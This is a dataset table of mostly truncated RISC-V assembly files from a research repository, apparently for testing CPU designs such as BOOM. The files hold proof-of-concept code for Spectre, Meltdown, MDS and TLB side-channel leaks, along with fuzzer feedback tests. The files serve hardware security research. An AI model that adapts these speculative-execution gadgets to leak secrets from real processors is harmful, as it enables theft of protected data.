repo_id string | size int64 | file_path string | content string |
|---|---|---|---|
comsec-group/milesan-meta | 710 | pocs/milesan/src/milesan/divct.S | #include "memcfg.h"
#include "data.h"
.text
li s0, REGDUMP_ADDR
li a2, UDATA
ld a1, 0(a2)
ld a0, 8(a2)
div ra, a1, a0
# li a1, 0xff
# rem t0, a1, a1
# # beq a1, t0, END
# div t1, a1, ra
# fence
# sd ra, 0(s0)
# fence
# sd t0, 0(s0)
# fence
nop
... |
comsec-group/milesan-meta | 236 | pocs/milesan/src/milesan/divfff.S | #include "memcfg.h"
.text
li a2, 0
slli a0, a2, 0
div a0, a0, a2
li a1, REGDUMP_ADDR
# Store all registers to the address in a1
sd a0, 0(a1)
fence
li a0, STOPSIG_ADDR
fence
sd a0, 0(a0)
fence |
comsec-group/milesan-meta | 711 | pocs/milesan/src/milesan/mulh.S | #include "memcfg.h"
#include "data.h"
.text
li s0, REGDUMP_ADDR
li a2, UDATA
ld a1, 0(a2)
ld a0, 8(a2)
mulh ra, a1, a0
# li a1, 0xff
# rem t0, a1, a1
# # beq a1, t0, END
# div t1, a1, ra
# fence
# sd ra, 0(s0)
# fence
# sd t0, 0(s0)
# fence
nop
... |
comsec-group/milesan-meta | 423 | pocs/milesan/src/milesan/div0.S | #------------------------------------------------------------------------------
# SpectreV4 minimal example.
#------------------------------------------------------------------------------
#include "memcfg.h"
.text
li a0, 123
li a2, 123
div a0, a2, a0
li a1, REGDUMP_ADDR
# Store all registers to th... |
comsec-group/milesan-meta | 1,213 | pocs/milesan/src/milesan/testdump.S | #------------------------------------------------------------------------------
# SpectreV4 minimal example.
#------------------------------------------------------------------------------
#include "memcfg.h"
.text
li a1, REGDUMP_ADDR
# Store all registers to the address in a1
sd x0, 0(a1)
fence
sd... |
comsec-group/milesan-meta | 1,463 | pocs/milesan/src/tlb/tlbleed.S | #------------------------------------------------------------------------------
# Spectrev1 with static prediction.
#
# Victim reads memory out-of-bounds abusing static branch prediction, which by
# default predicts previously unseen branches as not-taken.
#--------------------------------------------------------------... |
comsec-group/milesan-meta | 1,650 | pocs/milesan/src/spectre-lp/poc-minimal.S | .text
init:
# Make sure that all predictors are initialized.
# The BIM takes 2048 cycles to initialize all entries to '2' (weakly taken).
.rep 128
fence
.endr
# Load legit data (preloads the secret in D-Cache).
lla a0, legit_data
ld t0, 0(a0)
# Train the function to the correct pre... |
comsec-group/milesan-meta | 2,683 | pocs/milesan/src/spectre-lp/poc-loop.S |
#define SET_TO_WEAKLY_NOT_TAKEN 0
#define MISPREDICT 2
#define N_DUMMY_RUNS 2
#define LOOP_CONFIDENCE_THRESHOLD 9
#define N_SLOWDOWN 8
.text
init:
# Wait until all predictors are initialized.
# The BIM takes 2048 cycles to initialize all entries to weakly taken (2).
li t1, 64
init_loop:
fence
... |
comsec-group/milesan-meta | 2,608 | pocs/milesan/src/spectre-lp/poc-recursive-ret.S | #define SP 0x80009900
#define N_MISPRED 16
#define N_SATURATION 30
init:
# Wait for BIM initialization.
.rep 128
fence
.endr
# Init stack pointer.
li sp, SP
# Load the secret in the D-Cache.
lla s0, legit_data
ld t0, 0(s0)
# Set the predictor to a known state.
... |
comsec-group/milesan-meta | 630 | pocs/milesan/src/mds-tests/mds-lfb.S | #include "memcfg.h"
#define N_VICTIM_LOADS 7
#define N_MUL 0
#define N_LOADS 4
.text
init:
li t0, 0xdeadbeef # secret
li t1, UDATA # victim address
li t2, 0xA0009000 # invalid address
li t4, 0x3
sw t0, 0(t1)
fence
victim:
# Victim loads.
.rep N_VICTIM_LOADS
lw t6, 0(t1)... |
comsec-group/milesan-meta | 422 | pocs/milesan/src/mds-tests/mds_init.S | # User mode initialization for MDS.
#
# Perform some operations in user mode to make sure that microarchitectural
# buffers are filled with valid entries before we run the test case.
# This page should not be touched by the rest of the program.
#define UNTOUCHABLE_ADDR 0x8000C000
.section .text
init_uarch:
li s0... |
comsec-group/milesan-meta | 575 | pocs/milesan/src/mds-tests/mds.S | # Requires MDS initialization (see phantom-trails/BOOM/boom-wrapper/init).
#define INVALID 0xA000110
init:
li t3, INVALID # invalid address (used by attacker)
attacker:
# This load will fail
lw t5, 0(t3) # Load 0xA0001000
addi t3, t3, 0x20
lw t5, 0(t3) # Load 0xA0001010 <----- S... |
comsec-group/milesan-meta | 1,011 | pocs/milesan/src/mds-tests/mds-standalone.S | #include "memcfg.h"
#define N_STORES 7
#define N_MUL 0
#define N_LOADS 4
init:
li t0, 0xdeadbeef # secret 1
li t6, 0xcacacafe # secret 2
li t1, 0x80009100 # victim address 1
li t2, 0x80009110 # victim address 2
li t3, 0xA0000100 # invalid address (used by attacker)
li t4, 0x4
fence
vi... |
comsec-group/milesan-meta | 597 | pocs/milesan/src/mds-tests/mds-sb.S | #include "memcfg.h"
#define N_STORES 7
#define N_MUL 0
#define N_LOADS 4
.text
init:
li t0, 0xdeadbeef # secret
li t1, 0x80009100 # victim address
li t2, 0xA0009100 # invalid address
li t4, 0x3
fence
victim:
# Store secret.
.rep N_STORES
sw t0, 0(t1)
# addi t1, t1, 0x10
.e... |
comsec-group/milesan-meta | 1,692 | pocs/milesan/src/pocs/spectrev1_training.S | #------------------------------------------------------------------------------
# Spectrev1 with training.
#
# The victim performs an attacker-dependent load if an attacker-controlled
# branch is _taken_.
# Since static prediction is "not-taken", the attacker needs to train the
# predictor before performing the attack.... |
comsec-group/milesan-meta | 1,032 | pocs/milesan/src/pocs/spectreRSB.S | #------------------------------------------------------------------------------
# SpectreRSB minimal example.
#
# A function modifies its return address, causing the CPU to mispredict on ret.
#------------------------------------------------------------------------------
#include "memcfg.h"
.text
context_1:
li s0, ... |
comsec-group/milesan-meta | 1,388 | pocs/milesan/src/pocs/spectrev1.S | #------------------------------------------------------------------------------
# Spectrev1 with static prediction.
#
# Victim reads memory out-of-bounds abusing static branch prediction, which by
# default predicts previously unseen branches as not-taken.
#--------------------------------------------------------------... |
comsec-group/milesan-meta | 444 | pocs/milesan/src/pocs/meltdown-us.S | #include "memcfg.h"
.text
main:
// access to user mode page to show that it works
li s0, UDATA
ld s1, 0(s0)
// access to supervisor mode page, which will raise a fault
li s1, SDATA
lb s1, 0(s1)
// add offset to user base address
add s1, s0, s1
// load from that address in order to
... |
comsec-group/milesan-meta | 803 | pocs/milesan/src/pocs/spectrev4-stl.S | #------------------------------------------------------------------------------
# SpectreV4 minimal example.
#------------------------------------------------------------------------------
#include "memcfg.h"
.text
li s0, UDATA
addi s1, s0, 0x80
li t0, 0xdeadbeef
li s2, 0x80009000
ld zero, 0(s0)
fence
att... |
comsec-group/milesan-meta | 556 | pocs/milesan/src/pocs/spectreRSB-static.S | #include "memcfg.h"
.text
setup:
li s2, UDATA
lla s1, ret_target
taint_load:
ld t0, 0(s2)
#ifndef DISABLE_DEP_LOAD
ld t0, 0(t0)
#endif
attack:
# mv s0, s2
# Slow down jump with mul/div by a non-power-of-two.
mv t1, s1
li t2, 6
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
... |
comsec-group/milesan-meta | 418 | pocs/milesan/src/pocs/arch-explosion.S | #include "memcfg.h"
.text
main:
li s0, UDATA
ld s1, 0(s0) # load from tainted address
bnez s1, stop # taint PC
mul a0, t0, a0 # random stuff
div a0, t0,a0
mul a0, t0, a0
div a0, t0,a0
mul a0, t0, a0
div a0, t0,a0
stop:
li a1, REGDUMP_ADDR
sd x0, 0(a1)
fence
li a0... |
comsec-group/milesan-meta | 1,930 | pocs/milesan/src/pocs/spectrev2.S | #------------------------------------------------------------------------------
# Spectrev2.
#
# The victim takes an index as an argument, and jumps to the corresponding entry
# in a jump table. The attacker first trains the victim by making it jump to
# a leak gadget. Then, it will ask the victim to jump to `legit_tar... |
comsec-group/milesan-meta | 639 | pocs/milesan/src/pocs/spectrev4-single-load.S | #------------------------------------------------------------------------------
# SpectreV4 minimal example.
#------------------------------------------------------------------------------
#include "memcfg.h"
.text
setup:
li s0, UDATA
li s1, UDATA
attack:
# Mul s0 by 1.
li t1, 1
mul s0, s0, t1
mul s0, s0,... |
comsec-group/milesan-meta | 5 | pocs/milesan/src/test/test.S | unimp |
comsec-group/milesan-meta | 2,188 | pocs/milesan/src/spectre-lp/boom-disclosure/poc.S | #------------------------------------------------------------------------------
# LoopPredictor Spectre variant.
#
# The victim enters an infinite loop, which is mispredicted at each iteration
# due to the RAS being empty. This causes the branch right before the end
# of the loop to also be mispredicted, even if it was... |
comsec-group/milesan-meta | 2,608 | pocs/milesan/src/spectre-lp/boom-disclosure/poc-with-recursive-ret.S | #define SP 0x80009900
#define N_MISPRED 16
#define N_SATURATION 30
init:
# Wait for BIM initialization.
.rep 128
fence
.endr
# Init stack pointer.
li sp, SP
# Load the secret in the D-Cache.
lla s0, legit_data
ld t0, 0(s0)
# Set the predictor to a known state.
... |
comsec-group/milesan-meta | 2,635 | pocs/milesan/src/spectre-lp/boom-disclosure/poc-with-loop.S |
#define SET_TO_WEAKLY_NOT_TAKEN 0
#define MISPREDICT 2
#define N_DUMMY_RUNS 4
#define LOOP_CONFIDENCE_THRESHOLD 7
.text
init:
# Wait until all predictors are initialized.
# The BIM takes 2048 cycles to initialize all entries to weakly taken (2).
li t1, 64
init_loop:
fence
addi t0, t0,... |
comsec-group/milesan-meta | 93 | pocs/milesan/src/misc/single-instr/single_load.S | .text
li t0, 0x80001000
ld t0, 0(t0)
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 8
end:
|
comsec-group/milesan-meta | 101 | pocs/milesan/src/misc/single-instr/fence.S | .text
auipc a0, 0
ld t0, 0(a0)
nop
nop
fence
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 8
end:
|
comsec-group/milesan-meta | 140 | pocs/milesan/src/misc/single-instr/double_load.S | .text
li s0, 0x80001000
ld t0, 0(s0)
addi s0, s0, 0x100
add t0, t0, s0
ld t0, 0(t0)
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 4
end:
|
comsec-group/milesan-meta | 126 | pocs/milesan/src/misc/single-instr/single_load_with_nops.S | .text
li t0, 0x80001000
ld t0, 0(t0)
#flush the pipeline
.rep 16
nop
.endr
#padding
.rep 64
.dword 0x0
.endr
.align 8
end:
|
comsec-group/milesan-meta | 87 | pocs/milesan/src/misc/single-instr/auipc.S | .text
auipc a0, 0
ld t0, 0(a0)
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 4
end:
|
comsec-group/milesan-meta | 120 | pocs/milesan/src/misc/single-instr/add.S | .text
auipc a0, 0
ld t0, 0(a0)
addi a0, a0, 5
add a1, a2, a3
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 4
end:
|
comsec-group/milesan-meta | 61 | pocs/milesan/src/misc/single-instr/single-store.S | li t0, 0x00000080005000
li t1, 0xdeadbeef
sd t1, 0(t0)
unimp
|
comsec-group/milesan-meta | 430 | pocs/milesan/src/misc/feedback-tests/01-single-load.S | addi s0, sp, 4
addi s0, sp, 384
auipc s7, 0
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li t0, 0x80001000
ld t0, 0(t0)
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
... |
comsec-group/milesan-meta | 636 | pocs/milesan/src/misc/feedback-tests/11-arch-load-plus-spec-load-new.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
li t0, 0x80001000
ld t0, 0(t0)
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s1, 0x80001100
li s0, 6
mul t1, t1, s10
div t1, t1, s10
mul t1, t1, s10
div t1, t1, s10
li s7, 1337
blt t1, s7, lol
ld t2, 0(s1)
... |
comsec-group/milesan-meta | 581 | pocs/milesan/src/misc/feedback-tests/07-single-branch-with-spec.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
ori t1, t1, 0
ori t1, t1, 0
ori t1, t1, 0
ori t1, t1, 0
li s0, 1337
blt t1, s0, lol
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
... |
comsec-group/milesan-meta | 632 | pocs/milesan/src/misc/feedback-tests/09-spec-load.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s1, 0x80001000
li s0, 6
mul t1, t1, s10
div t1, t1, s10
mul t1, t1, s10
div t1, t1, s10
li s7, 0
blt t1, s7, lol
ld t2, 0(s1)
m... |
comsec-group/milesan-meta | 431 | pocs/milesan/src/misc/feedback-tests/02-double-load.S | addi s0, sp, 4
addi s0, sp, 384
auipc s7, 0
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li t0, 0x80001000
ld t0, 0(t0)
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
li t0, 0x80002000
ld t0, 0(t0)
mv tp, tp
addi s0, sp, 384
addi ra, ... |
comsec-group/milesan-meta | 522 | pocs/milesan/src/misc/feedback-tests/05-single-branch-taken.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s0, 0
beq t1, s0, lol
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
.align 4
lol:
addi s0... |
comsec-group/milesan-meta | 522 | pocs/milesan/src/misc/feedback-tests/06-single-branch-not-taken.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s0, 0
bgt t1, s0, lol
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
.align 4
lol:
addi s0... |
comsec-group/milesan-meta | 755 | pocs/milesan/src/misc/feedback-tests/08-single-branch-with-big-spec.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s0, 6
mul t1, t1, s10
div t1, t1, s10
mul t1, t1, s10
div t1, t1, s10
li s1, 1337
blt t1, s0, lol
mv t1, t1
slli tp, tp, 14
... |
comsec-group/milesan-meta | 636 | pocs/milesan/src/misc/feedback-tests/10-arch-load-plus-spec-load-arch.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
li t0, 0x80001000
ld t0, 0(t0)
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s1, 0x80001000
li s0, 6
mul t1, t1, s10
div t1, t1, s10
mul t1, t1, s10
div t1, t1, s10
li s7, 1337
blt t1, s7, lol
ld t2, 0(s1)
... |
comsec-group/milesan-meta | 429 | pocs/milesan/src/misc/feedback-tests/00-no-feedback.S | addi s0, sp, 4
addi s0, sp, 384
auipc s7, 0
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
ad... |
comsec-group/milesan-meta | 389 | pocs/milesan/src/misc/manual-analysis/static_mispred.S | .text
start:
# Load random data.
li t0, 0x80000100
ld t0, 0(t0)
# Slow down.
li t1, 6
mul t0, t0, t1
div t0, t0, t1
mul t0, t0, t1
div t0, t0, t1
# Branch is architecturally taken, but statically predicted non-taken.
beqz t0, end
# New data is loaded speculatively.
li t0, 0x80001000
ld t0, 0(t0)
.align 4
... |
comsec-group/milesan-meta | 1,960 | pocs/milesan/src/misc/manual-analysis/spectrev2-sls.S | #------------------------------------------------------------------------------
# Spectrev2.
#
# The victim takes an index as an argument, and jumps to the corresponding entry
# in a jump table. The attacker first trains the victim by making it jump to
# a leak gadget. Then, it will ask the victim to jump to `legit_tar... |
comsec-group/milesan-meta | 705 | pocs/milesan/src/misc/manual-analysis/unknown-flush.S | lb tp, 64(ra)
auipc sp, 0 # 0x80008004
jalr ra, sp, 108
xor ra, ra, ra
xor ra, ra, ra
addiw t0, s0, 1
sll a6, s0, ra
slli ra, sp, 63
snez s0, s0
lhu zero, 285(ra)
xor zero, zero, zero
lhu zero, 285(ra)
auipc s0, 32768 # 0x80010030
subw zero, gp, ra
lhu zero, 285(ra)
lhu zero, 285(ra)
lhu zero, 285(ra)
auipc sp, 0 # 0x8... |
comsec-group/milesan-meta | 334 | pocs/milesan/src/misc/manual-analysis/meltdown-store-pfault.S | auipc s5, 402894 # 0x67fcd000
nop
ori s8, sp, 0
nop
addi tp, t0, -1621
auipc sp, 0 # 0x80008014
addi ra, a6, 8
sd zero, 32(zero)
beq zero, sp, asd
srl sp, zero, s8
nop
srl sp, zero, s8
nop
nop
mv zero, s1
nop
nop
lb zero, 0(a6)
nop
addi zero, zero, -1830
add tp, t5, t0
nop
lbu s6, 2029(tp)
nop
ret
.rep 1200
unimp
.end... |
comsec-group/milesan-meta | 1,012 | pocs/milesan/src/misc/manual-analysis/load-ordering-failure.S | li x1, 0x80009000
li x2, 0x80009000
li x3, 0x80009000
li x4, 0x80009000
li x5, 0x80009000
li x6, 0x80009000
li x7, 0x80009000
li x8, 0x80009000
li x9, 0x80009000
li x10, 0x80009000
li x11, 0x80009000
li x12, 0x80009000
li x13, 0x80009000
li x14, 0x80009000
li x15, 0x80009000
li x16, 0x80009000
li x17, 0x800090... |
comsec-group/milesan-meta | 1,117 | pocs/milesan/src/misc/manual-analysis/mds-standalone.S | #define SECRET_1 0xdeadbeef
#define SECRET_2 0xcacacafe
#define VICTIM_1 0x80009100
#define VICTIM_2 0x80009110
#define INVALID 0xA0000100
#define N_STORES 7
#define N_MUL 0
#define N_LOADS 4
init:
li t0, SECRET_1 # secret 1
li t6, SECRET_2 # secret 2
li t1, VICTIM_1 # victim address ... |
comsec-group/milesan-meta | 552 | pocs/milesan/src/misc/manual-analysis/meltdown-noinit.S | // access to user mode page to show that it works
li s2, 0x80000000
li t0, 0x1000
add s0, s2, t0
add s0, s0, t0
add s0, s0, t0
add s0, s0, t0
add s0, s0, t0
ld s1, 0(s0)
// access to supervisor mode page, which will
// raise a fault
add s1, s2, t0
ld s1, 0(s1)
//... |
comsec-group/milesan-meta | 1,160 | pocs/milesan/src/misc/manual-analysis/test.S | .text
text:
#ifdef NO_DATA
li s0, 0x80009000
#else
li s0, 0x80009000
# lla s0, data
#endif
li t1, 1
li t0, 2
li t2, 0
li t3, 8
# .rep 2400
# nop
# .endr
.align 4
main:
# Call func1 in a loop
addi t2, t2, 1
.align 4
call func1
nop
nop
j main
# Padding.
.rep... |
comsec-group/milesan-meta | 178 | pocs/milesan/src/misc/manual-analysis/spectrev1-jal.S | lb ra,0(a6)
srli zero,zero,0x8
srli zero,s0,0x8
srli zero,zero,0x8
sd ra,-304(ra)
xor s11,tp,s0
lhu sp,172(tp) # 0xac
subw a2,a7,s0
jr 172(ra)
|
comsec-group/milesan-meta | 551 | pocs/milesan/src/misc/manual-analysis/spectrev2-static.S | .text
setup:
lla s1, jmp_target
taint_load:
ld t0, 0(s2)
addi s2, s2, 0x100
attack:
# mv s0, s2
# Slow down jump with mul/div by a non-power-of-two.
mv t1, s1
li t2, 6
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2... |
comsec-group/milesan-meta | 464 | pocs/milesan/src/misc/manual-analysis/spectre-v1-unaligned-br.S | li a7, 0x80009000
ld a5, 0(a7)
lwu t5, 32(t1)
lwu t5, 32(t1)
lwu t5, 32(t1)
lwu t5, 32(t1)
lwu s0, 0(t1)
bleu t5, tp, asd
lbu t5, 32(a6)
slt s0, a3, sp
lb a6, 32(tp)
nop
addi t5, t5, 2
lb sp, 16(s0)
jalr t5, zero, 12
srai a6, s0, 59
nop
asd:
ld zero,8(a7)
unimp
.data
data:
.dword 0xcacacafedeadbeef
.dword 0xcac... |
comsec-group/milesan-meta | 2,804 | pocs/milesan/src/misc/manual-analysis/spectrev1_bad_training.S | #------------------------------------------------------------------------------
# Spectrev1 with insufficient training.
#------------------------------------------------------------------------------
.equ N_TRAINING_ROUNDS, 4
.equ NON_POWER_OF_2, 6
.equ ARR_SIZE, 0x20
.equ OOB_IDX, 0x180
.text
attacker:
li a0, 0... |
comsec-group/milesan-meta | 8,995 | pocs/milesan/tlbleed/Template/src/entry.S | /* entry.S */
#include "encoding.h"
#if __riscv_xlen == 64
# define STORE sd
# define LOAD ld
# define REGBYTES 8
#else
# define STORE sw
# define LOAD lw
# define REGBYTES 4
#endif
#define PASS 1
#define FAIL 3
#define STACK_TOP (_end + 4096)
#define THREAD_TOP (_end + 8192)
.section ".text.init... |
comsec-group/milesan-meta | 459 | pocs/phantomtrails/init/init-mds.S | # User mode initialization for MDS.
#
# Perform some operations in user mode to make sure that microarchitectural
# buffers are filled with valid entries before we run the test case.
# This page should not be touched by the rest of the program.
#define FORBIDDEN_ADDR 0x8000C000
.section .u_text , "ax"
init_uarch:
... |
comsec-group/milesan-meta | 5,128 | pocs/phantomtrails/init/init.S | /* PMP configuration */
#define PMP_R 0x01
#define PMP_W 0x02
#define PMP_X 0x04
#define PMP_A 0x18
#define PMP_A_TOR 0x08
#define PMP_A_NA4 0x10
#define PMP_A_NAPOT 0x18
#define PMP_L 0x80
#define CSR_CYCLE ... |
comsec-group/milesan-meta | 425 | pocs/phantomtrails/boot/bootrom.S | #define BOOTADDR_REG 0x4000
#define DRAM_BASE 0x80000000
.section .text.start, "ax", @progbits
.globl _start
_start:
auipc t0,0x0
li t0, DRAM_BASE
jr t0
.section .text.hang, "ax", @progbits
.globl _hang
_hang: // reset vector
auipc t0,0x0
li t0, DRAM_BASE
jr t0
.section .text.hang80, "a... |
comsec-group/milesan-meta | 148 | pocs/phantomtrails/include/boom_prologue.S | .section ".data.init"
secret:
.word 0xdeadbeef
public:
.word 0xffffffff
.section ".text.init","ax",@progbits
.globl _start
.align 2
_start: |
comsec-group/milesan-meta | 1,463 | pocs/phantomtrails/src/tlb/tlbleed.S | #------------------------------------------------------------------------------
# Spectrev1 with static prediction.
#
# Victim reads memory out-of-bounds abusing static branch prediction, which by
# default predicts previously unseen branches as not-taken.
#--------------------------------------------------------------... |
comsec-group/milesan-meta | 1,650 | pocs/phantomtrails/src/spectre-lp/poc-minimal.S | .text
init:
# Make sure that all predictors are initialized.
# The BIM takes 2048 cycles to initialize all entries to '2' (weakly taken).
.rep 128
fence
.endr
# Load legit data (preloads the secret in D-Cache).
lla a0, legit_data
ld t0, 0(a0)
# Train the function to the correct pre... |
comsec-group/milesan-meta | 2,683 | pocs/phantomtrails/src/spectre-lp/poc-loop.S |
#define SET_TO_WEAKLY_NOT_TAKEN 0
#define MISPREDICT 2
#define N_DUMMY_RUNS 2
#define LOOP_CONFIDENCE_THRESHOLD 9
#define N_SLOWDOWN 8
.text
init:
# Wait until all predictors are initialized.
# The BIM takes 2048 cycles to initialize all entries to weakly taken (2).
li t1, 64
init_loop:
fence
... |
comsec-group/milesan-meta | 2,608 | pocs/phantomtrails/src/spectre-lp/poc-recursive-ret.S | #define SP 0x80009900
#define N_MISPRED 16
#define N_SATURATION 30
init:
# Wait for BIM initialization.
.rep 128
fence
.endr
# Init stack pointer.
li sp, SP
# Load the secret in the D-Cache.
lla s0, legit_data
ld t0, 0(s0)
# Set the predictor to a known state.
... |
comsec-group/milesan-meta | 630 | pocs/phantomtrails/src/mds-tests/mds-lfb.S | #include "memcfg.h"
#define N_VICTIM_LOADS 7
#define N_MUL 0
#define N_LOADS 4
.text
init:
li t0, 0xdeadbeef # secret
li t1, UDATA # victim address
li t2, 0xA0009000 # invalid address
li t4, 0x3
sw t0, 0(t1)
fence
victim:
# Victim loads.
.rep N_VICTIM_LOADS
lw t6, 0(t1)... |
comsec-group/milesan-meta | 422 | pocs/phantomtrails/src/mds-tests/mds_init.S | # User mode initialization for MDS.
#
# Perform some operations in user mode to make sure that microarchitectural
# buffers are filled with valid entries before we run the test case.
# This page should not be touched by the rest of the program.
#define UNTOUCHABLE_ADDR 0x8000C000
.section .text
init_uarch:
li s0... |
comsec-group/milesan-meta | 575 | pocs/phantomtrails/src/mds-tests/mds.S | # Requires MDS initialization (see phantom-trails/BOOM/boom-wrapper/init).
#define INVALID 0xA000110
init:
li t3, INVALID # invalid address (used by attacker)
attacker:
# This load will fail
lw t5, 0(t3) # Load 0xA0001000
addi t3, t3, 0x20
lw t5, 0(t3) # Load 0xA0001010 <----- S... |
comsec-group/milesan-meta | 1,011 | pocs/phantomtrails/src/mds-tests/mds-standalone.S | #include "memcfg.h"
#define N_STORES 7
#define N_MUL 0
#define N_LOADS 4
init:
li t0, 0xdeadbeef # secret 1
li t6, 0xcacacafe # secret 2
li t1, 0x80009100 # victim address 1
li t2, 0x80009110 # victim address 2
li t3, 0xA0000100 # invalid address (used by attacker)
li t4, 0x4
fence
vi... |
comsec-group/milesan-meta | 597 | pocs/phantomtrails/src/mds-tests/mds-sb.S | #include "memcfg.h"
#define N_STORES 7
#define N_MUL 0
#define N_LOADS 4
.text
init:
li t0, 0xdeadbeef # secret
li t1, 0x80009100 # victim address
li t2, 0xA0009100 # invalid address
li t4, 0x3
fence
victim:
# Store secret.
.rep N_STORES
sw t0, 0(t1)
# addi t1, t1, 0x10
.e... |
comsec-group/milesan-meta | 1,692 | pocs/phantomtrails/src/pocs/spectrev1_training.S | #------------------------------------------------------------------------------
# Spectrev1 with training.
#
# The victim performs an attacker-dependent load if an attacker-controlled
# branch is _taken_.
# Since static prediction is "not-taken", the attacker needs to train the
# predictor before performing the attack.... |
comsec-group/milesan-meta | 1,032 | pocs/phantomtrails/src/pocs/spectreRSB.S | #------------------------------------------------------------------------------
# SpectreRSB minimal example.
#
# A function modifies its return address, causing the CPU to mispredict on ret.
#------------------------------------------------------------------------------
#include "memcfg.h"
.text
context_1:
li s0, ... |
comsec-group/milesan-meta | 1,388 | pocs/phantomtrails/src/pocs/spectrev1.S | #------------------------------------------------------------------------------
# Spectrev1 with static prediction.
#
# Victim reads memory out-of-bounds abusing static branch prediction, which by
# default predicts previously unseen branches as not-taken.
#--------------------------------------------------------------... |
comsec-group/milesan-meta | 444 | pocs/phantomtrails/src/pocs/meltdown-us.S | #include "memcfg.h"
.text
main:
// access to user mode page to show that it works
li s0, UDATA
ld s1, 0(s0)
// access to supervisor mode page, which will raise a fault
li s1, SDATA
lb s1, 0(s1)
// add offset to user base address
mul s1, s0, s1
// load from that address in order to
... |
comsec-group/milesan-meta | 803 | pocs/phantomtrails/src/pocs/spectrev4-stl.S | #------------------------------------------------------------------------------
# SpectreV4 minimal example.
#------------------------------------------------------------------------------
#include "memcfg.h"
.text
li s0, UDATA
addi s1, s0, 0x80
li t0, 0xdeadbeef
li s2, 0x80009000
ld zero, 0(s0)
fence
att... |
comsec-group/milesan-meta | 556 | pocs/phantomtrails/src/pocs/spectreRSB-static.S | #include "memcfg.h"
.text
setup:
li s2, UDATA
lla s1, ret_target
taint_load:
ld t0, 0(s2)
#ifndef DISABLE_DEP_LOAD
ld t0, 0(t0)
#endif
attack:
# mv s0, s2
# Slow down jump with mul/div by a non-power-of-two.
mv t1, s1
li t2, 6
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
... |
comsec-group/milesan-meta | 354 | pocs/phantomtrails/src/pocs/arch-explosion.S | #include "memcfg.h"
.text
main:
// access to user mode page to show that it works
li s0, UDATA
ld s1, 0(s0)
bnez s1, test
li t1, 0x123
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
.align 4
t... |
comsec-group/milesan-meta | 1,930 | pocs/phantomtrails/src/pocs/spectrev2.S | #------------------------------------------------------------------------------
# Spectrev2.
#
# The victim takes an index as an argument, and jumps to the corresponding entry
# in a jump table. The attacker first trains the victim by making it jump to
# a leak gadget. Then, it will ask the victim to jump to `legit_tar... |
comsec-group/milesan-meta | 639 | pocs/phantomtrails/src/pocs/spectrev4-single-load.S | #------------------------------------------------------------------------------
# SpectreV4 minimal example.
#------------------------------------------------------------------------------
#include "memcfg.h"
.text
setup:
li s0, UDATA
li s1, UDATA
attack:
# Mul s0 by 1.
li t1, 1
mul s0, s0, t1
mul s0, s0,... |
comsec-group/milesan-meta | 5 | pocs/phantomtrails/src/test/test.S | unimp |
comsec-group/milesan-meta | 2,188 | pocs/phantomtrails/src/spectre-lp/boom-disclosure/poc.S | #------------------------------------------------------------------------------
# LoopPredictor Spectre variant.
#
# The victim enters an infinite loop, which is mispredicted at each iteration
# due to the RAS being empty. This causes the branch right before the end
# of the loop to also be mispredicted, even if it was... |
